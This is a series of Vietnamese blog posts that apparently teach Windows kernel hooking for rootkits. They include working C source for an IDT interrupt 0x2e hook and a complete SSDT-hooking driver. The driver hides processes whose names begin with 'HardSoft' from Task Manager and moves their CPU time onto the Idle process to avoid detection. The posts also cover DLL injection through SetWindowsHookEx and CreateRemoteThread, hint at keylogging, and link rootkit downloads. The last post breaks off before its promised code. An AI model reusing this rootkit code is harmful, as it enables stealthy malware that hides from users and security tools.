HardSoft VietNam

Tháng Mười 28, 2006

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(3).

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 7:22 chiều

-Trong bài này , tôi sẽ bàn về kỹ thuật gậy đột biến bảng IDT (Interrupt Descriptor Table) (tạm dịch là bảng mô tả các ngắt) . Ngắt là từ dùng để chỉ cơ chế mà hệ điều hành dùng để gây đột biến một tiến trình bất kỳ (đúng vậy , hệ điều hành cũng muốn chiếm quyền kiểm soát một tiến trình nào đó khi nó thấy cần ), Có ba loại ngắt là : ngắt phần mềm , ngắt phần cứng và ngắt ngoại lệ .
-Ngắt phần cứng do nhà sản xuất quy định . Ví dụ : bất cứ khi nào một tiến trình nhập xuất hòan thành thì một ngắt phần cứng sẽ xảy ra. Ở đây chúng ta sẽ không quan tâm tới lọai ngắt này .
– Ngắt phần mềm là kết quả của một yêu cầu giúp đỡ từ phần mềm đến hệ điều hành . Phần mềm khi muốn tiếp xúc với dịch vụ hệ thống (đã nói ở bài trước) sẽ thông qua ngắt này . Điều này có nghĩa là ngắt sẽ được gọi trước khi bất kỳ dịch vụ hệ thống nào được gọi.
– Ngắt ngọai lệ xảy ra khi một tiến trình thực thi một lệnh bất hợp pháp như lấy 1 số chia cho 0 .
– Lệnh SIDT dùng để xác định vị trí của bảng IDT , giá trị trả về là cấu trúc IDTINFO
////////////////////////////////////////////////////////////////////////////
typedef struct
{
WORD IDTLimit;
WORD LowIDTbase;
WORD HiIDTbase;
} IDTINFO;
#define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))

////////////////////////////////////////////////////////////////////////////
-Sau đây là mã nguồn của hàm dùng để gây đột biến của fuzen_op . Nó sẽ thay địa chỉ của hàm 0x2e (hàm dùng để đảm nhận ngắt phần mềm) bằng địa chỉ của một hàm do ta định sẵn :
////////////////////////////////////////////////////////////////////////////
DWORD KiRealSystemServiceISR_Ptr; // biến lưu địa chỉ của hàm 0x2e thật
#define NT_SYSTEM_SERVICE_INT 0x2e

int HookInterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__asm{
sidt idt_info;
}
idt_entries =
(IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
KiRealSystemServiceISR_Ptr = // Lưu địa chỉ của hàm 2
MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli; // Ngưng ngắt
lea eax,MyKiSystemService; // Lưu địa chỉ của hàm đột biến vào thanh ghi EAX
mov ebx, int2e_entry; // Lưu địa chỉ của hàm 0x2e vào thanh ghi EBX
mov [ebx],ax; // Ghi đè địa chỉ của hàm 0x2e bằng địa chỉ của hàm đột biến
shr eax,16
mov [ebx+6],ax;
sti; // Kích họat ngắt
}
return 0;
}
////////////////////////////////////////////////////////////////////////////
-Bây giờ bạn đã có thể gây đột biến bảng IDT . Từ đây bạn có thể theo dõi và ngăn chặn bất cứ yêu cầu sử dụng dịch vụ hệ thống nào từ vòng số 3 . Nên nhớ : số thứ tự của dịch vụ hệ thống(nhờ số này có thể lần ra tên của dịch vụ và chức năng của nó ) đang được yêu cầu sẽ được lưu trong thanh ghi EAX . Bạn có thể biết được tiến trình nào đang gọi bằng hàm PsGetCurrentProcess. Sau đây là ví dụ về hàm đột biến :
////////////////////////////////////////////////////////////////////////////
__declspec(naked) MyKiSystemService()
{
__asm{
pushad
pushfd
push fs
mov bx,0x30
mov fs,bx
push ds
push es
// Đặt mã xử lý thông tin vào đây
Finish:
pop es
pop ds
pop fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr; // Gọi hàm 0x2e
}
}
////////////////////////////////////////////////////////////////////////////
– Mã nguồn của ví dụ gây đột biến bảng IDT (Win 2000) có thể tải ở đây : http://www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip , dành cho win xp ở đây : http://www.rootkit.com/vault/fuzen_op/SysEnterHook.zip
– Đăng bởi Trần Hữu Đăng Khoa

Tháng Mười 22, 2006

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(2).

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 9:29 sáng

-Như đã giới thiệu ở bài trước , kỹ thuật gây đột biến mã ở vòng số 3 ( nơi chương trình ứng dụng bình thường chạy ) có nhiều điểm yếu như : tốc độ thực thi chậm , dễ bị phát hiện và ngăn chặn (tôi sẽ viết một chuyên đề về việc phát hiện và ngăn chặn mã đột biến cho những bạn mong muốn gia nhập chánh đạo) . Do khó khăn trong việc né tránh các chương trình chống rootkit , các lớp đàn anh đi trước đã nghĩ ra việc xâm nhập vào vòng số 0 và gây đột biến mã trong nhân .Bằng cách thực thi mã trong nhân , rootkit của họ đã đạt trạng thái cân bằng với bất kỳ chương trình chống rootkit nào. Đây là phương pháp phổ biến nhất hiện nay của cả hai phe chánh và tà.
-Việc gây đột biến mã trong nhân có nhiều lợi điểm như : nhanh (do việc tác động vào nhân mang tính toàn cục – nghĩa là nó ảnh hưởng tới toàn bộ hệ thống) , khó phát hiện hơn so với kỹ thuật cũ và quan trọng là nó rất mạnh (làm được nhiều điều mà những kỹ thuật khác không làm được).
-Về mặt an ninh , vòng số không là bất khả xâm phạm ( các bạn có thể tham khảo “Cẩm nang phát triển ứng dụng trên cấu trúc Intel 32” ,quyển ba, phần 4.8) trứ trường hợp của trình điều khiển thiết bị và cổng gọi .Việc sử dụng trình điều khiển thiết bị nói chung là dễ dàng hơn so với cổng gọi . Tuy nhiên trình điều khiển thiết bị lại rất dễ bị quản lý và bạn không thể sử dụng trình điều khiển thiết bị nếu không có đặc quyền quản lý(admin).Trong khi đó cổng gọi rất khó quản lý , dễ dàng thực thi mã trên vòng số 0 rồi quay trở lại vòng số 3 (thích hợp cho chiến thuật đánh nhanh rút nhanh) , không cần dùng trình điều khiển thiết bị và có thể thực hiện mà không cần bất cứ quyền gì đặc biệt. Với những lợi thế rất lớn như vậy nhưng cổng gọi lại không được sử dụng phổ biến vì tính phức tạp và rủi ro của nó . Trong giới hacker mũ đen ,chỉ có những đàn anh thực thu mới có khả năng áp dụng kỹ thuật này vào rootkit của họ. Trước khi bước vào chi tiết của kỹ thuật gây đột biến mã trong nhân tôi xin nói rõ là kỹ thuật này rất phức tạp và sẽ không thích hợp cho người đọc là người mù chữ, phụ nữ ,trẻ em.
-Hiện nay ba nơi thông dụng nhất cho việc gậy đột biến mã trong nhân là SSDT(System Service Descriptor Table) , IDT (Interrupt Descriptor Table) và MIORPFT (Major I/O Request Packet Function Table).
-Sửa bảng SSDT: Hệ điều hành Windows NT bao gồm nhiều hệ điều hành con như : Win32 , POSIX , OS/2. Mỗi hệ điều hành con sẽ bao gồm nhiều dịch vụ hệ thống chạy trong nhân với từng chức năng chuyên hóa khác nhau .Để dễ quản lý các dịch vụ hệ thống này , Windows đã lập ra một bảng gọi là SSDT (tạm dịch là bảng mô tả dịch vụ hệ thống ). Bảng SSDT lưu lại tất cả những dịa chỉ của tất cả các dịch vụ hệ thống (có khoảng 283 dịch vụ trên WinXp SP2) . Ngoài ra hệ thống cũng sử dụng một bảng gọi là System Service Parameter Table (SSPT) (tạm dịch là “bảng thông số của dịch vụ hệ thống”) với chức năng cung cấp dung lượng của hàm và các thông số tương ứng . Nhằm tăng tốc độ truy xuất của dịch vụ hệ thống , hệ điều hành lại lập ra một bảng thứ ba là KeServiceDescriptorTable. Bảng này thực chất là một dạng mục lục giúp hệ thống truy xuất hai bảng kia nhanh hơn. Như vậy sau khi biết chức năng của bảng SSDT thì các bạn đã nghĩ ra việc tiếp theo phải làm để gây đột biến mã rồi phải không ? Vâng , đó chính là đổi địa chỉ của một hàm bất kỳ trong bảng SSDT sang địa chỉ của một hàm do ta quy định sẵn.
-Tuy nhiên càng về sau thì việc sửa đổi bảng SSDT càng gặp nhiều khó khăn . Một số hệ điều hành như XP , 2003 và Vista có thêm chức năng chống sửa đổi bảng SSDT vì Microsoft cho rằng rất ít có chương trình đàng hoàng nào lại đi thay đổi giá trị của bảng này.Điều này từng gây kho khăn không ít cho những tay mơ . Nếu bạn cố tình sửa đổi bảng SSDT thì một màn hình xanh chết chóc sẽ hiện lên.Để khắc phục điều này các bạn phải thay đổi thanh ghi CR0 nhằm mục đích gỡ bỏ chức năng chống thay đổi vùng nhớ của bảng SSDT. Tuy nhiên việc này khá phức tạp nên tôi sẽ chỉ bạn cách có được đặc quyền thay đổi vùng nhớ .
-Để mô tả một vùng nhớ nào đó , các bạn có thể sử dụng cấu trúc MDL (Memory Descriptor List) như sau :
///////////////////////////////////////////////////////////////////////////////
// trích từ ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;//dung lượng vùng nhớ
CSHORT MdlFlags;//cờ của vùng nhớ
struct _EPROCESS *Process;//cấu trúc EPROCESS của tiến trình cần xin đặc quyền truy xuất
PVOID MappedSystemVa;
PVOID StartVa;//địa chỉ bắt đầu vùng nhớ
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
//Một số cờ của MDL
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD 0x0200
#define MDL_PHYSICAL_VIEW 0x0400
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
///////////////////////////////////////////////////////////////////////////////
-Đoạn mã sau sẽ phân quyền cho tiến trình của bạn chỉnh sửa bảng SSDT
///////////////////////////////////////////////////////////////////////////////
// Cấu trúc bảng SSDT
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// Sao chép vùng nhớ của bảng SSDT vào cấu trúc MDL nhằm mục đích đổi cờ
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// Đổi cờ cảu cấu trúc MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
///////////////////////////////////////////////////////////////////////////////
-Có một số dịch vụ hệ thống rất thích hợp cho việc tác động tới bảng SSDT . Dịch vụ SYSTEMSERVICE có nhiệm vụ lấy địa chỉ của các hàm Zw* do ntoskrnl.exe ( Đại diện cho nhân của hệ thống) xuất ra và trả về giá trị tương ứng của các hàm Nt* này trong bảng SSDT . Hai loại hàm Nt* và Zw* thật ra chỉ là một . Tuy nhiên trong vòng số 0 thường hay xài hàm Zw* còn trong vòng số 3 lại hay xài hàm Nt* .Dịch vụ SYSTEMSERVICE đóng vai trò như một thông dịch viên giúp những tiến trình ở vòng số ba biết chỗ nào để gọi hàm Nt*.Một dịch vụ hệ thống khác là SYSCALL_INDEX cũng rất thích hợp để gây đột biến . Qua đó giúp ta dễ dàng sửa bảng SSDT . SYSCALL_INDEX lấy địa chỉ của hàm Zw*do ntoskrnl.exe xuất ra và trả về thứ tự tương ứng của hàm trong bảng SSDT .Như vậy khi gây đột biến mã ở hai dịch vụ này các bạn sẽ theo dõi được hàm nào sắp được gọi lên (thông qua số thứ tự do SYSCALL_INDEX cung cấp, vì mỗi số thứ tự thường ứng với một hàm định sẵn và thường không đổi qua các hệ điều hành NT) , từ đó dưới vai trò của dịch vụ SYSTEMSERVICE (lúc này đã bị đột biến) ta sẽ trả về địa chỉ hàm do ta viết . Đây là cách mà phần mềm RegMon , FileMon sử dụng để theo dõi hệ thống .
-Ở kỳ trước, tôi có nói về một ví dụ gây đột biến hàm ZwQuerySystemInformation nhưng không nói rõ chức năng của hàm này . Nhân bài viết này tôi sẽ nói rõ hơn về nó. Hàm ZwQuerySystemInformation là một hàm tổng hợp rất nhiều thông tin về hệ thống như danh sách các tiến trình trong vòng số 3 , số vi xử lý của hệ thống , các tài nuyên hệ thống như RAM , mức độ sử dụng CPU … Hàm này được chương trình Task Manager sử dụng nhiều nhất . Vì vậy tứ khi mới ra đời nó đã là mục tiêu của rất nhiều người . Theo Microsoft , hàm này có thể sẽ bị loại bỏ trong Windows Vista .
-Sau là mã nguồn của trình điều khiển thiết bị có mục đích là ẩn tất cả tiến trình có tên bắt đầu bằng “HardSoft”. Một số đoạn mã được trích từ phần mềm RegMon của Mark Russinovich và Bryce Cogswell :
///////////////////////////////////////////////////////////////////////////////
#include “ntddk.h”

#pragma pack(1)
// cấu trúc bảng SSDT
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
//khai báo về dịch vụ SYSTEMSERVICE
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//khai báo về dịch vụ SYSCALL_INDEX
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//Khai báo cấu trúc của hàm SYSCALL_INDEX bị đột biến với mục đích thay đổi bảng SSDT
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//Khai báo cấu trúc của hàm SYSCALL_INDEX bị đột biến với mục đích phục hồi bảng SSDT
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//cấu trúc của chỉ tiến trình hệ thống
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
// cấu trúc của tiến trình hệ thống (dịch vụ hệ thống)
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};

//cấu trúc thông tin về tốc độ vi xử lý
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};

// khai báo hàm ZwQuerySystemInformation
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

// cấu trúc hàm ZwQuerySystemInformation bị đột biến
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;

LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;

// hàm ZwQuerySystemInformation bị đột biến có nhiệm vụ lọc thông tin về các tiến trình
// và lọai bỏ tất cả những tiến trình bằng đầu bằng “HardSoft”
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{

NTSTATUS ntStatus;
// gọi hàm ZwQuerySystemInformation lúc chưa bị đột biến
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );

if( NT_SUCCESS(ntStatus))
{
//Nếu thông tin cần lấy là danh sách cá tiến trình thì …
if(SystemInformationClass == 5)
{
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
//chạy từ trong ra noài và kiếm xem tiến trình nào
//có tên bắt đầu bằng “HardSoft”
while(curr)
{
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L”HardSoft”, 12))
{
//Bỏ bớt một tiến trình trong danh sách đươc ZwQuerySystemInformation trả về
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

if(prev) // chúng ta đang ở giữa danh sách hay ở cuối ?
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else //đang ở cuối danh sách nên chúng ta sẽ làm cho cái kế cuối thành cuối
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// đang ở giữa nên chúng ta sẽ bỏ qua cái này và
// tiếp tục di chuyển tới
(char *)SystemInformation += curr->NextEntryDelta;
}
else //Điều này không thể tin nổi !
SystemInformation = NULL;
}
}
}
else //Đây là tiến trình IdleProcess
{
//Một số tinh chỉnh nhỏ
//nhằm giảm bớt nguy cơ bị phát hiện.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8 ) //Thôn tin cần lấy là thời gian tôn tại của các tiến trình
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint(“Good bye ! Cruel world!\n”);

// phục hồi bảng SSDT
UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );

//Bỏ đặc quyền cho phép ta sửa vùng nhớ của bảng SSDT
if(g_pmdlSystemCall)
{
MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
IoFreeMdl(g_pmdlSystemCall);
}
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)
{
// Đăng ký hàm để đảm nhận việc tháo bỏ trình điều khiển thiết bị
theDriverObject->DriverUnload = OnUnload;

//Khởi tạo thời gian của bộ vi xử lý nhằm tránh việc người dùng nghi ngờ về k
//hỏang thiếu hụt về tốc độ do tiến trình ẩn gây ra
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

// Lưu lại địa chỉ của hàm ZwQuerySystemInformation chính thống
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

// Ánh xạ vùng nhớ của hàm ZwQuerySystemInformation chính htống vào MDL để tiện việc thay cờ
g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;

MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

// Thay cờ của MDL
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

//Gây đột biến cho hàm ZwQuerySystemInformation
HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );

return STATUS_SUCCESS;
}
///////////////////////////////////////////////////////////////////////////////
-Để có thể xem tác dụng của trình điều khiển thiết bị này các bạn có thể sử dụng Driver Installer đã giới thiệu ở bài 1 . Khi trình điều khiển thiết bị được nạp vào vòng số 0 thì bất kỳ tiến trình nào bắt đầu bằng
“HardSoft” sẽ được ẩn trong Task Manager.
-Hai nơi còn lại là IDT và MIORPFT sẽ được trình bày trong phần tiếp theo.
-Tòan bộ mã nguồn các bạn có thể tải tại http://www.freewebtown.com/khoalhp261/sample2-1.zip

Đăng bởi Trần Hữu Đăng Khoa

Tháng Mười 14, 2006

Kỹ thuật biến đổi nhân của Windows – Phần 2 : Nghệ thuật gây đột biến mã(1).

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 11:00 chiều

-Trong phần này tôi xin trình bày các cách để gây đột biến mã trong một tiến trình bất kỳ và cả trong nhân hệ điều hành .Đầu tiên cần phải đề cấp tới là trong bộ nhớ của một tiến trình bình thường. Kỹ thuật này có thể nói là khó (tuy nhiên nó lại dễ hơn nhiều so với trong nhân) đối với nhiều bạn mới bắt đầu . Vì vậy tôi sẽ trình bày thật chi tiết.
– Hiện nay có 3 cách chính để gây mã đột biến trong một tiến trình. Đó là sửa bảng IAT (Import Address Table), sửa bảng EAT (Export Address Table) và sửa mã trực tiếp.
-Sửa bảng IAT : Khi một chương trình sử dụng một hàm trong thư viện ngọai vi thì nó sẽ ánh xạ thư viện đó vào vủng nhớ của mình . Bảng IAT đóng vai trò như một chiếc bản đồ giúp chương trình định vị vị trí của hàm trong bộ nhớ của chương trình.Sửa bảng IAt sẽ giúp ta đánh lừa chương trình khi nó cần sử dụng tới hàm bị đột biến.Tuy nhiên cách này rất dễ bị phát hiện và qua mặt.Một chương trình có thể qua mặt cách này dễ dàng bằng cách sử dụng hàm API khai báo theo kiểu trực tiếp (dùng hai hàm là LoadLibrary và GetProcAddress)
iathook
-Khi một thư viện được ánh xạ vào vùng nhớ , nó sẽ lưu vào bảng EAT. Bảng EAT nhằm mục đích lưu giữ danh sách các hàm được sử dụng và vị trí nó tọa lạc trong vùng nhớ . Sửa đổi bảng này sẽ khắc phục được điểm yếu của cách đâu tiên . Có nghĩa là nó không dễ bị phát hiện và nó có thể gây đột biến ở cả hàm được khai báo động (chỉ khai báo khi cần dùng tới) và tĩnh (khai báo khi chương trình bắt đầu).Điểm yếu lớn nhất của cách này là bạn không thể áp dụng nó cho những thư viện đã được ánh xạ và bạn không thể phục hồi hàm đã đột biến trở lại như ban đầu.
-Cách cuối cùng là trực tiếp thay đổi mã thực thi của hàm . Kỹ thuật này sẽ chèn một lệnh nhảy vô điều kiện vào dòng đầu tiên của hàm . Địa chỉ được nhảy tới là địa chỉ một hàm do bạn viết và đã được ánh xạ trên bộ nhớ.Cách này giải quyết được tất cả điểm yếu của hai cách trên . Tuy nhiên nó cũng có nhược điểm riêng của mình : nó cũng dễ bị phát hiện và với một số hàm thì việc đặt lệnh nhảy vào đâu hàm có thể gây giảm tốc độ thực thi.
-Trong bài viết này tôi chỉ hiện thực hóa cách thứ ba vì nó khá dễ áp dụng và ưu điểm của nó rõ ràng hơn hẳn nhược điểm.
-Địa chỉ của lệnh nhảy được đặt vào đầu hàm chỉ có thể thuộc vùng nhớ riêng của một tiến trình . Điều này có nghĩa là bạn không thể thay đổi hướng thực thi của một hàm được ánh xạ trong một tiến trình sang một hàm được ánh xạ trong một tiến trình khác . Việc này làm nảy sinh một vấn đề là làm sao ánh xạ hàm của mình vào vùng nhớ của tiến trình bất kỳ. Hiện nay thì có hai cách để giải quyết việc này : đưa thư viện của mình vào vùng nhớ của tiến trình bất kỳ hay trực tiếp ánh xạ hàm của mình lên vùng nhớ của tiến trình đó . Trong bài viết này tôi chỉ đề cập tới cách đầu tiên vì nó khá dễ thực hiện và an tòan hơn cách thứ hai .
-Để đưa được một cũng có nhiều cách thực hiện . Bạn có thể khai thác lỗ hổng của hàm SetWindowsHookEx hay tạo ra một chỉ tiến trình ngoại lai trong tiến trình bất kỳ.
-Hàm SetWindowsHookEx có dạng HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId); Thông số đầu cho biết sự kiện cần theo dõi. Thông số thứ hai là địa chỉ của hàm sẽ nhận thông tin.Thông số thứ ba là địa chỉ bắt đầu của thư viện trong bộ nhớ.Thông số cuối cùng là số hiệu của chỉ tiến trình cần gây đột biến . Nếu tham số cuối là 0 thì hệ điều hành sẽ sử dụng chỉ tiến trình mặc định.
-ví dụ : khi gọi SetWindowsHookEx(WH_KEYBOARD, kbfunc, DllHandle, 0) , khi bất kỳ tiến trình nào chuẩn bị nhận phím bấm thì thư viện của ta sẽ được ánh xạ vào vùng nhớ của tiến trình đó. Sau đây là dàn ý của thư viện gây đột biến :
BOOL APIENTRY DllMain(HANDLE hModule,DWORD reason_for_call,LPVOID lpReserved)
{
if (reason_for_call == DLL_PROCESS_ATTACH)
{
// Chỗ này dùng để thực hiện thao tác gây đột biến như sửa bảng IAT ,EAT hay sửa mã trực tiếp
}
return TRUE;
}
__declspec (dllexport) LRESULT kbfunc (int code,WPARAM wParam,LPARAM lParam)
{
// đây là nơi xử lý thông tin về WH_KEYBOARD , bạn có thể bỏ trống hay thêm vào tính năng theo dõi bàn phím ^__^
return CallNextHookEx(g_hhook, code, wParam, lParam); // truyền thông tin cho người nhận kế tiếp
}

-Cách thứ hai là tạo ra một chỉ tiến trình ngoại lai do ta điều khiển trong tiến trình bất kỳ.Chỉ tiến trình này sẽ thực thi trong bộ nhớ của tiến trình và ánh xạ một thư viện do ta viết.Để tạo một chỉ tiến trình ngọai lai trong môt tiến trình bất kỳ , ta chỉ cần sử dụng hàm CreateRemoteThread.
-Hàm CreateRemoteThread có dạng:
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
– Thông số đầu là tay cầm của tiến trình cần gây đột biến . thông số thứ 4 là địa chỉ của hàm do chỉ tiến trình thưc hiện . Thông số thứ 5 là thông số do ta truyền cho chỉ tiến trình.Các thông số còn lại các bạn không cần quan tâm và có thể đặt là NULL hay 0. Để có thể thực hiện được việc ánh xạ thư viện vào bộ nhớ , bạn phải đặt thông số thứ 4 là địa chỉ của hàm LoadLibrary . Bạn có thể lấy địa chỉ này trong chương trình của mình bằng hàm LoadLibrary và GetProcAddress bởi và truyền vào thông số thứ 4 (Điều này có thể chấp nhận được là do hầu như hàm kernel32.dll được ánh xạ với cùng một địa chỉ trong bất cứ tiến trình nào):
GetProcAddress(GetModuleHandle(TEXT( “Kernel32”)), “LoadLibraryA”)
-Thông số thứ 5 là thông số khó chịu nhất khi phải sử dụng cách này. Bạn không thể truyền một chuỗi hay một số vào thông số này vì khi được thưc thi ở tiến trình khác thông số thứ 5 sẽ là địa chỉ của chuỗi hay số ở tiến trình đâu tiên (và bạn không thể biết được nội dung của địa chỉ này).Cách duy nhất là viết tên của thư viện cần ánh xạ vào bộ nhớ của tiến trình cần gây đột biến . Ta có thể dùng hàm VirtualAllocEx để định vị một vùng nhớ trống và hàm WriteProcessMemory với thông số là địa chỉ nhận được từ hàm VirtualAllocEx để ghi tên của thư viện cần ánh xạ vào vùng nhớ của tiến trình cần gây đột biến.
-Sau đây là một số đọan mã viết bằng Delphi để giúp các bạn có thể dễ dàng hiện thực hóa những lý thuyết mà chúng ta nói nãy giờ.
– Để có thể lấy được tay cầm của những tiến trình hệ thống , tiến trình của bạn phải có đặc quyền sửa lỗi (SeDebugPrivilege). Đây là đọan mã để thực hiện điều này :
///////////////////////////////////////////////////////////////////
function EnableDebugPrivilege():Boolean;
var
hToken: dword;
SeDebugNameValue: Int64;
tkp: TOKEN_PRIVILEGES;
ReturnLength: dword;
begin
Result:=false;
OpenProcessToken(INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, hToken);
if not LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, SeDebugNameValue) then
begin
CloseHandle(hToken);
exit;
end;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Luid := SeDebugNameValue;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES),
tkp, ReturnLength);
if GetLastError() ERROR_SUCCESS then exit;
Result:=true;
end;
///////////////////////////////////////////////////////////////////
-Để ánh xạ được thư viện của mình , các bạn có thể dùng đọan mã sau :
///////////////////////////////////////////////////////////////////
